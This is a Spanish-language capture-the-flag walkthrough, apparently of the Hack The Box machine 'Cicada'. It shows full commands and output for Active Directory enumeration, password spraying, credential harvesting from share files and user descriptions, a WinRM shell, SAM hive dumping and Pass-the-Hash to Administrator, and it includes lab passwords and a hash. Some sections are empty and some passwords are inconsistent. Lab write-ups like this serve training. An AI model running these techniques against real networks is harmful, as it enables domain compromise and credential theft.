cicada

Realizamos el reconocimiento de puertos abierto de la maquina en un principio:

Puertos Abiertos y Servicios Identificados

  • Posible vector de ataque:

    • SMB (445/tcp): Puede ser vulnerable a ataques como Pass-the-Hash o explotaciรณn de vulnerabilidades como EternalBlue.

    • Kerberos (88/tcp): kerbrute para enumerar usuarios validos a nivel de sistema

    • WinRM (5985/tcp): Posible acceso remoto con credenciales vรกlidas.

    • LDAP (389/tcp, 636/tcp): Extracciรณn de informaciรณn del directorio activo si es accesible.

    • DNS (53/tcp): Puede ser รบtil para la enumeraciรณn de subdominios internos.

Uso de netexec en SMB

Con el parรกmetro siguiente se verifica la configuraciรณn del servicio SMB en la mรกquina objetivo:

netexec smb 10.10.11.35
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing NFS protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing WMI protocol database
[*] Initializing VNC protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)

Ahora con Kerbrute podemos enumerar usuarios:

Validemos usuarios:

โฏ ./kerbrute userenum --dc 10.10.11.35 -d cicada.htb /opt/SecLists/Usernames/xato-net-10-million-usernames.txt

Se esta encontrando usuarios:

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 02/16/25 - Ronnie Flathers @ropnop

2025/02/16 11:25:11 >  Using KDC(s):
2025/02/16 11:25:11 >   10.10.11.35:88

2025/02/16 11:25:47 >  [+] VALID USERNAME:   guest@cicada.htb

Con netexec --shares podemos listar archivos compartidos:

โฏ netexec smb 10.10.11.35 --shares
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] IndexError: list index out of range
SMB         10.10.11.35     445    CICADA-DC        [-] Error enumerating shares: STATUS_USER_SESSION_DELETED

Al salir "STATUS_USER_SESSION_DELETED" probamos con smbclient:

smbclient -L 10.10.11.35 -N   
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk      
        HR              Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 

Ahora al probar con el usuario que salio guest viendo sus recursos compartidos:

โฏ netexec smb 10.10.11.35 -u 'guest' -p '' --shares
 netexec MEJOR QUE crackmapexec

Con smbmap podemos igualmente listar los archivos pero nos especifica los permisos mucho mejor que el smbclient

> smbmap -H 10.10.11.35 -u 'guest' -p ''

Nos llama la atencion el HR

    HR                                                      READ ONLY        

Por lo cual miramos que contiene esa carpeta que podemos leer:

โฏ smbmap -H 10.10.11.35 -u 'guest' -p '' -r HR
        ./HR
        dr--r--r--                0 Fri Mar 15 01:26:17 2024    .
        dr--r--r--                0 Thu Mar 14 07:21:29 2024    ..
        fr--r--r--             1266 Wed Aug 28 12:31:48 2024    Notice from HR.txt

Ahora intentamos descargarlo para ver su contenido:

Usando smbclient:

smbclient //10.10.11.35/HR -N

Listamos y lo descargamos:

smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0,6 KiloBytes/sec) (average 0,6 KiloBytes/sec)

Contenido:

Con:

rpcclient -U "" 10.10.11.35

ยฟPara quรฉ sirve?

  • Enumeraciรณn de informaciรณn del sistema :

  • Interacciรณn con SMB (Puerto 445) s

  • Pruebas de acceso anรณnimo a funciones RPC

Comandos รบtiles dentro derpcclient

Una vez dentro de la sesiรณn interactiva de rpcclient, puedes ejecutar:

  • srvinfoโ†’ Informaciรณn del

  • enumdomusersโ†’ Enumerador

  • querydominfoโ†’ Obtener informaciรณn del dominio.

  • enumdomgroupsโ†’ Listar grupos del dominio.

  • netshareenumโ†’ Ver recursos compartidos SMB.

  • enumprinters โ†’ Enumerar las impresoras compartidas en un servidor Windows.

  • querydispinfoโ†’ Informaciรณn sobre las cuentas de usuario en un dominio de Windows.

Bien ahora al ver que demora mucho el Kerbrute usamos otra herramienta para enumerar users:

netexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute

Pero solo queremos lo que dice SidTyUser por lo cual grepeamos:

โฏ netexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep "SidTypeUser"
SMB                      10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Y se encontro usuarios validos al instante..

Copiamos los usuarios a un archivo para solo sacar los usuarios:

โฏ batcat users.txt | awk '{print $6}' | tr '\\' ' ' | awk '{print $2}'

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

El comando impacket-GetNPUsers sirve para encontrar usuarios en Active Directory vulnerables al ataque AS-REP Roasting, lo que permite obtener hashes de sus contraseรฑas sin necesidad de credenciales.

โฏ impacket-GetNPUsers -no-pass -usersfile users.txt cicada.htb/

Bien ahora podemos usar fuerza bruta con la contraseรฑa encontrada para cada usuario y ver para cual si funciona:

netexec smb 10.10.11.35 -u users.txt -p 'Cicada$M@CorpB@Lp#nZp18!'
Tenemos al user: michael.wrightson

Ahora verificamos si el usuario tiene winrm para pasar a una consola interactiva:

  • Solo agregando winrm en vez de smb se verifica:

netexec winrm 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
No tiene el pown

Comando netexec para enumerar recursos compartidos:

netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares

Seguimos:

Con:

Nos conectamos con el user y credencial que obtuvimos para ver que contiene:

โฏ rpcclient -U 'michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35

Usando:

rpcclient $> querydispinfo

Se encontro una contraseรฑa nueva del usuario david.orelious:

david.orelious Desc: Just in case I forget my password is aRt$Lp#7t*VQ!3

Probando si podemos usar winrm:

netexec winrm 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
De igual manera no se puede asi q seguimos saltando usuarios

Ahora vemos los recursos compartidos del nuevo user con la nueva credencial:

netexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
Se puede ver el DEV que se puede leer
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -r DEV

Al listarlo de manera recursiva se puede ver:

        ./DEV
        dr--r--r--                0 Wed Aug 28 12:27:31 2024    .
        dr--r--r--                0 Thu Mar 14 07:21:29 2024    ..
        fr--r--r--              601 Wed Aug 28 12:28:22 2024    Backup_script.ps1

Ahora para descargar el Backup usamos smblient:

smbclient //10.10.11.35/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'

Al entrar descargamos el archivo usando get:

Bien ahora verificamos si es parte de:

Grupos requeridos para WinRM:

Grupo Remote Management Users:

netexec winrm 10.10.11.35 -u 'emily.oscars' -p 'Q1Sej.pm%ob7t+Vt'

SI ES DEL GRUPO:

Bien ahora usando;

evil-winrm -i 10.10.11.35  -u 'emily.oscars' -p 'Q1Sej.pm%ob7t+Vt'
Tenemos la console interactiva

AHORA ESCALADA DE PRIVILEGIOS:

Usano el siguiente repositorio podemos abusar de esto:

Descagamos los archivos para usar impacket:

impacket-secretsdump -sam sam.hive -system system.hive LOCAL
BINGO

utilizando la tรฉcnica Pass-the-Hash (PtH)

evil-winrm -i 10.10.11.35  -u 'Administrator' -H 2b87e7c93a3e8a0ea4a581937016f341

Last updated